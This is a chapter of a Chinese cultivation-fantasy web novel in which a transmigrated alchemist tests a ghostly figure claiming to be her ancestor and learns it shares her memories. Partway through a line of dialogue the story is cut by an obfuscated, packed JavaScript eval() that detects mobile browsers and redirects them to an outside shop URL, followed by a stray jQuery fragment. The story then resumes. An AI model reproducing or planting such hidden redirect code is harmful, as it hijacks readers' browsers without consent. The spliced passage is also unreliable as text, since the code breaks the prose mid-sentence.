5. 鸡飞狗跳宗门日常
    惨白的人影从雪池中探出脑袋,瘆人地笑。

    这场面,谅是接受过十六年国内教育、三年海外教育、数十年修仙高等教育的司落都不淡定了。

    就没见过这样不伦不类的怪东西。

    眼见那东西马上就要爬到自己面前,司落蹙眉,抬脚,一丝犹豫都没有,凭着仅存的力劲,连着踏了它数十脚。

    “等等!桥豆麻袋!我是你祖……”

    被疯狂踩踏的怪东西爆发出了极为强烈的求生欲,不住地往后退。

    但司落压根没准备听它辩解。

    最后一脚,虚影被猛地踢飞,行动轨迹如抛物线般一头栽进雪池,脚朝上,像根桩。

    踢完后,司落后知后觉,自己忘了害怕。

    可能是这东西出现在修真界太奇葩,而且她是修士,真打起来指不定谁害怕谁。

    想到这,司落顿了下:“施主你飘错地方了,这里是离尘宗,业务范围仅包括物理超度。”

    “怨魂转世服务还请出门左拐,翻七座山游三条江,到梵佛宗。”

    怪东西:“……”

    “什么超度不超度,看清楚了,我是你,咳咳,祖师奶!”它边气边跳脚。

    也不知司落使了多大劲,这十几脚下去,它被踢懵了不说,就连身体也栽进雪里了,一时之间竟没能爬起来,只能撑着身子,像拔萝卜一般,将头从雪里拔|出来。

    司落蹲下身子,垂眸盯着那神似贞子的东西,半晌,温和笑道:“你当我傻?”

    “先不论你为何出现在第肆堂雪池里,刚刚小辈我炸了鼎,也没见你出来露一手,等到丹药炼成我最为虚弱之时,你却突然爬出来了?”

    “不是大街上随便来只阿飘都能自称是我的祖师奶的。”说着司落揉了揉指腕关节,笑得灿烂。

    “不过呢,我这里倒是有一个法子可以证明你是。”

    “我就是。”它偏头,气笑。

    “别急啊。”司落拾起落在雪里的须弥芥子袋,不知取了什么东西出来。

    它心底咯噔一声,带了点慌张:“等等,你要取什么,这么大阵仗,年轻人我警告你啊,咳咳,你别,别不讲武德,欺老凌弱……”

    司落只当没听见,迅速吞了几枚修复丹药,然后翻开手里的丹书大全。

    “快问快答,高阶避水丹的关键材料是哪一种。”

    它怔了怔:“欸,欸?”

    司落却不给它反应的机会,毫不留情念倒计时:“三、二、一。”

    “灵月草,止息闭气灵月草。”

    司落扫它一眼:“服用易容焕颜丹有几道程序?”

    “三道程序,打晕换脸的人,换他衣服,服丹。”

    “聪明,我有点信了。”司落打了个响指,“但不多。”

    它:“……”

    司落又问:“为什么定情丹别名不唤同生共死丹,或是同生同宿丹,非要唤作一见误终生。”

    “因为定情丹只能让两人一见钟情,合得来就同生共死,合不来就互相拜拜,勉强能合就彼此误终生。”

    “很好非常精辟,最后一问,请说出炼制十全十补大药丸的所有材料与程序。”

    “炼丹?这简单……”它笑,正要张口,却蓦地一愣,等等,十全十补大药丸?

    它仅存的识海记忆里,完全寻不到一丝有关这类丹药的线索印象。

    见状,司落挑眉:“咦,答不出来了?”

    “那很抱歉,晚辈只能为你提供超度转世折扣券一份了……”

    眼见少女从须弥芥子袋中掏出传音符,准备点燃,它慌了。

    “等等等等,我想起来了——”

    “丹书大全里面压根没有这味药!”

    “恭喜,正确。”话音未落,司落笑吟吟松手,让蓝焰彻底吞噬符纸。

    “欸你这人,我明明赢了……”它急了。

    话还没说完,风吹纸动,那符纸翻了过来。

    一片空白,是张废纸。

    司落根本没想叫梵佛宗的人过来。

    “……您是丹师前辈不假。”司落沉吟片刻。

    她意有所指:“不过,您与我在此处碰见恐怕也不是巧合吧?”

    “毕竟从您出场的方式到说话的语气,都在向我透露,您了解我过去的世界。”

    不为书中人所知的,未穿书前的过去。

    司落一共选了四个问题。

    第一问不过是丹药学基础。

    第二问、第三问,它的回答能明显感受到只有司落家乡才能回答出的风格。

    而第四问则间接证明面前之人非常熟悉丹书大全,或者说,只有亲自编撰这本书的人,才能在极短时间内非常坚定地否定错误丹方。

    司落笑吟吟:“所以,我究竟该称您为我的祖师奶,还是该称您为窃取我记忆的小偷?”

    “你,害,年纪挺小,倒是个人精。”情况几乎全被猜中,它瞠目结舌,好半天才缓过来,“行了行了,你扶我起来,我就告诉你。”

    问题问得差不多,伤也恢复了大半。

    司落起身伸手,将它扶起来。

    嘴角微微一抽:“我说前辈,您既然共享了我的记忆,化形成什么不好,为什么非得化成贞子?”

    “哦,我也不想。”被司落唤做前辈的女人撑着腰慢慢站了起来。

    “我刚苏醒不久,灵力不足无法完全化形,而你记忆里只有这副鬼样子看起来最容易幻化。”

    “原本不想吓着你,便选了最为温和的出场方式,没想到两极反转,我这穷凶极恶的煞鬼前辈倒被你这娇弱好后辈一脚踹飞。”

    女人皮笑肉不笑。

    司·娇弱好后辈·落:“……”

    司落轻咳两声:“前后辈之间没有隔夜仇,坐下来咱们好好聊聊?”

    闻言女人警铃大作:“你想聊什么?”

    “聊归聊,但得提前说好,待会无论说了什么,你不能

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282980|151924||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    打断我的话,也不能动手。”

    司落笑的灿烂:“当然,我可是您最柔弱不能自理的练气期后辈。”

    听到柔弱不能自理,女人啧了一声,她可没忘记初次出场时司落丝毫不拖泥带水的十几脚,那时司落筋骨甚至还没完全修复。

    看似柔弱不能自理,实则一脚踹她半条老命。

    女人脸上挂着假笑,司落看着内心有点虚。

    她转移话题道:“前辈先换个地方,雪池不适合聊天。”

    扶女人站起来,司落推开洞邸的偏房。

    修真界不似凡界,即使数十年不曾居住也不会落下灰尘。

    司落习惯性用灵力为房间施了清洁咒。

    转身,女人已经摊在床上。

    司落:“……”

    还真是不客气啊。

    司落问女人叫什么,她不肯说,只让司落称她为月槐老人。

    司落思忖片刻,没在脑海寻到与月槐老人只言片语的记忆,就连丹书大全的作者也与“月槐”二字不挨边。

    月槐:“若是觉得四个字难念,你只念两字也行。”

    少女十分上道:“明白了,月老前辈。”

    月槐:“……”

    待司落收拾好一切,再转身,月槐不知何时又移到了桌前,正欲言又止地望着器皿里的茶叶丝。

    体内灵力微薄,月槐根本无法热茶泡用。

    “想喝?”司落问。

    “当然。”月槐顿了下,“人一生下来就是要喝茶的。”

    司落:“……”什么歪理?

    司落顿了下,在月槐满怀希冀的眼神中,伸手将装有茶叶的器皿直接收进须弥芥子袋。

    直接从源头上解决问题,眼不见嘴不馋。

    月槐错愕:“妮子你?”

    司落避开女人幽怨的视线,像渣男发誓似的:“下次再泡,下次再泡。”

    第肆堂太冷,她经脉刚复原,吞不了回灵丹,体内仅剩的灵力热满一壶茶刚好全。

    月槐:“啧。”

    她共享司落的记忆时,这妮子日常明明都十分懂礼乖巧。

    可直到自己与之接触,才发现全然不同。

    正愤愤不解之时,月槐识海中蓦地闪过司落那不属于这个世界的记忆。

    短发少女穿着短衫趿拉拖鞋,身处异国,不远处正在发生极为激烈的枪战,残肢遍地,弹甲飞裂。

    街口小店人去楼空,唯独她与店长面不改色,一个吃饭,另一个干活。

    月槐微怔,这才发现自己不曾认真仔细观察过司落的另一份记忆。

    或许正是因为自己拥有她的“过去”,这妮子才会坦诚相见,装都不装了?

    月槐心情复杂,好一会才道:“醒了才一会,也不知今夕是何年了,对了妮子,你听说过严峰么?”

    司落点头,又贴心地加了称号与年份:“听过,大药尊严峰,据说三千年前亲手于北海刨了一位仇人的坟墓。”